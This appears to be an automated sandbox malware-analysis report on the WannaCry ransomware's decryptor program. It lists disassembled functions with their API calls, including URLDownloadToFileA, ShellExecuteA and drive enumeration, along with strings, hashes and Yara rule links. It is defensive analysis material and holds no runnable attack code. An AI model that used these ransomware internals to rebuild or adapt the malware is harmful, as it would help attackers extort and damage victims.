                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#2379#4853KillTimer
                                        • String ID:
                                        • API String ID: 178170520-0
                                        • Opcode ID: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                        • Instruction ID: aacaf11b8525f3fa08346ebc997e4185e7a595c9bc7dc659aa73715d177cc548
                                        • Opcode Fuzzy Hash: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                        • Instruction Fuzzy Hash: FD114475340B00ABD6709A74CD41F6BB3D4BB94B10F20892DF395FB2D0DAB4B8068B58
                                        Function 00403860 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43windowthreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
                                        • #1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
                                        • SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
                                        • CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5
                                        Strings
                                        • Please select a host to decrypt., xrefs: 00403885
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#1200CreateThread
                                        • String ID: Please select a host to decrypt.
                                        • API String ID: 3616405048-3459725315
                                        • Opcode ID: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                        • Instruction ID: 64f0ddf58892c59834d5d68b98c76a24f926c69eeefbcfa1eb30c508a9047c0d
                                        • Opcode Fuzzy Hash: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                        • Instruction Fuzzy Hash: C4F09032380700BAF2306775AC07FEB2698ABC4F21F25462AF718BA2C0C5F478018668
                                        Function 004044C0 Relevance: 10.5, APIs: 7, Instructions: 38windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • GetParent.USER32(?), ref: 004044D2
                                        • #2864.MFC42(00000000), ref: 004044D9
                                        • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                        • #2860.MFC42(00000000), ref: 004044EF
                                        • GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                        • CreateFontIndirectA.GDI32(?), ref: 00404513
                                        • #1641.MFC42(00000000), ref: 0040451D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #1641#2860#2864CreateFontIndirectMessageObjectParentSend
                                        • String ID:
                                        • API String ID: 2724197214-0
                                        • Opcode ID: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                        • Instruction ID: 8763edc8e5a6adeaffa7a86524b671660dad1b09e215c7e2bee76a425fbc91e9
                                        • Opcode Fuzzy Hash: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                        • Instruction Fuzzy Hash: 5AF0A4B1100340AFD720EB74DE49FDB7BA86F94304F04891DB649DB1A1DAB4E944C769
                                        Function 0040C060 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
                                        • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
                                        • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
                                        • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
                                        • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#823
                                        • String ID:
                                        • API String ID: 3019263841-0
                                        • Opcode ID: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                        • Instruction ID: af0acaa543f5011fd428c8da5e8f88cfa40878c60dbd15804793c53c70a14286
                                        • Opcode Fuzzy Hash: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                        • Instruction Fuzzy Hash: 4A41B570644341EBD220DF65CC85F5BB7A8BF84724F104B2DF5247B2D1C7B4A9098BAA
                                        Function 00409C20 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #3797.MFC42 ref: 00409C27
                                        • #6734.MFC42(?,?), ref: 00409C4E
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
                                        • #4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #3797#4284#6734MessageSend
                                        • String ID:
                                        • API String ID: 1776784669-0
                                        • Opcode ID: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                        • Instruction ID: 0f06e6a1ab2a1e1858972f557de936d8f63d8015e647da1bd90f7003a846fc2f
                                        • Opcode Fuzzy Hash: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                        • Instruction Fuzzy Hash: 2F31B0727447019BE724DE28DD81B6B73E1ABC8700F10493EFA86A73C1DA78EC468759
                                        Function 004127E0 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                        Download Yara Rule
                                        APIs
                                        • #823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
                                        • #823.MFC42(?,?,?), ref: 00412849
                                        • #825.MFC42(?), ref: 004128B5
                                        • #825.MFC42(?), ref: 004128CE
                                        • #825.MFC42(00000000), ref: 004128DD
                                        • #823.MFC42(00000008), ref: 004128FA
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #823#825
                                        • String ID:
                                        • API String ID: 89657779-0
                                        • Opcode ID: a8225a914fe684002f5ebb33c6b5a83bf5030d8ce9238fcdcecfe8f5a0f25a9a
                                        • Instruction ID: dc1b5eec0fc78afcb49772100b5c76d6e8760601cde25cb5382a27e7a1041640
                                        • Opcode Fuzzy Hash: a8225a914fe684002f5ebb33c6b5a83bf5030d8ce9238fcdcecfe8f5a0f25a9a
                                        • Instruction Fuzzy Hash: 8631A5B16006008BDB149F2E8D8169BB6D5FBC4720F18473EF929CB3C1EBB99951C755
                                        Function 0040B780 Relevance: 9.1, APIs: 6, Instructions: 68filenetworkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000428), ref: 0040B793
                                        • GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                        • DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                        • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                        • DeleteFileA.KERNEL32(?), ref: 0040B815
                                        • DeleteFileA.KERNEL32(?), ref: 0040B82C
                                          • Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                          • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$Delete$CreateDirectory$CacheDownloadEntryNameTemp
                                        • String ID:
                                        • API String ID: 361195595-0
                                        • Opcode ID: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                        • Instruction ID: f6bba9489874f0a6e7d9c3b0bbe4d647d3eb1ae806ee8fe5932772f512dcd3e1
                                        • Opcode Fuzzy Hash: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                        • Instruction Fuzzy Hash: 24112B76100300BBE7209B60DC85FEB379CEBC4321F00C82DF659921D1DB79550987EA
                                        Function 00409A40 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                        Download Yara Rule
                                        APIs
                                        • OffsetRect.USER32(?,?,?), ref: 00409A9B
                                        • CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
                                        • #1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
                                        • #5781.MFC42(0041679C,00000000), ref: 00409ACC
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414Rect$#1641#5781CreateOffset
                                        • String ID:
                                        • API String ID: 2675356817-0
                                        • Opcode ID: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                        • Instruction ID: 08eaaa51a6c0e03944d0349f6c05153d0be232de021c7e29130ffbf32961e4dd
                                        • Opcode Fuzzy Hash: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                        • Instruction Fuzzy Hash: 7621E9B5204701AFD304DF14C995FABB7E8EB88B04F108A1DF58697291CB78EC45CB96
                                        Function 004034A0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                        • Instruction ID: 278ac0b80a8d68711b6ced8a2ef72b48c78586c4dd5442d856e74ad00dc42751
                                        • Opcode Fuzzy Hash: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                        • Instruction Fuzzy Hash: DB113375204741AFC314DF69D985F9BB7E8FB88714F008A1EB55AD3280DB78E8448B55
                                        Function 00406940 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                        • Instruction ID: 6a096d29dde81ab0807628e72033e91f5df492254ff76bbe7bc423a6b66a9ecc
                                        • Opcode Fuzzy Hash: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                        • Instruction Fuzzy Hash: CB113375204741AFC314DF69D985F9BB7E8FB8C714F008A1EB599D3280DB78D8058BA5
                                        Function 00404EB0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                        • Instruction ID: d163b7983d6ef18c2c490a4321b6073019a727c2a72f1ecd8d9e2d5251008e6b
                                        • Opcode Fuzzy Hash: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                        • Instruction Fuzzy Hash: CB113375204701AFC314DF69D985F9BB7E8FB88714F008A1EB599D3280DB78D8058B55
                                        Function 00404310 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • #470.MFC42(?,00000000), ref: 0040433F
                                        • #5789.MFC42 ref: 00404354
                                        • #5875.MFC42(00000001), ref: 00404361
                                        • #6172.MFC42(?,00000001), ref: 0040436E
                                        • #5789.MFC42(00000000), ref: 0040438F
                                        • #755.MFC42(00000000), ref: 004043A0
                                          • Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
                                          • Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
                                          • Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                          • Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
                                          • Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                          • Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
                                          • Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #5789$#1641#2860#2864#470#5875#6172#755CreateFontIndirectMessageObjectParentSend
                                        • String ID:
                                        • API String ID: 3301245081-0
                                        • Opcode ID: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                        • Instruction ID: 67bcf298962d36d7fa18f20cd84a87d7b1dd540c5c31f1d51ecab4020f7c2e08
                                        • Opcode Fuzzy Hash: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                        • Instruction Fuzzy Hash: 4611CE71104300AFC310EF14D841FDAB7A4EF94724F008A1EF5A6932D0CBB8A484CB62
                                        Function 00403EB0 Relevance: 9.0, APIs: 6, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        • #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                        • #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                        • #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                        • #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                        • #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                        • #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2642#3092
                                        • String ID:
                                        • API String ID: 2547810013-0
                                        • Opcode ID: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                        • Instruction ID: 4bb7b71439f2442b6829c2e1ec9f7e71f44d4abaae38a5a684cddd693ffb540b
                                        • Opcode Fuzzy Hash: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                        • Instruction Fuzzy Hash: 46D0ECB179425427D9543273AE1BD9F4959AFE1B15B10052FB301EB2C2ECFC58A282AD
                                        Function 00403A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON
                                        Download Yara Rule
                                        APIs
                                        • GetLogicalDrives.KERNEL32 ref: 00403A35
                                        • GetDriveTypeW.KERNEL32 ref: 00403A7A
                                        • GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: DiskDriveDrivesFreeLogicalSpaceType
                                        • String ID: : $\
                                        • API String ID: 222820107-856521285
                                        • Opcode ID: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                        • Instruction ID: 7a2fb974cbacd17fa61847377d7cab912bc040039a87a27a6beb81165ce83d4b
                                        • Opcode Fuzzy Hash: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                        • Instruction Fuzzy Hash: 2D116D31614301ABD315DF15D884AABBBE8FBC8710F04882EF88597290E775E948CB9A
                                        Function 00406EF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #823.MFC42(?), ref: 00406F15
                                        • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
                                        • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
                                        • #825.MFC42(?), ref: 00406F62
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #823#825ExecuteMessageSendShell
                                        • String ID: open
                                        • API String ID: 1093558810-2758837156
                                        • Opcode ID: b3555fc8e5306fa9c71381116aefee59a3ba052e6f8451af1c149dcc11f64dcc
                                        • Instruction ID: 5f9a2cd0b307edef7ddb37fa3a9b8e73568683458afc550aac563bbb23be8fd8
                                        • Opcode Fuzzy Hash: b3555fc8e5306fa9c71381116aefee59a3ba052e6f8451af1c149dcc11f64dcc
                                        • Instruction Fuzzy Hash: 0C0148B0A50301AFE610DF24DD4AF5B77E8AB84B14F00C42AF9499B291E6B4E814CB96
                                        Function 004030E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                        • #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                        • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                        • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #567$#324
                                        • String ID: 0ZA$DZA
                                        • API String ID: 784016053-3838179817
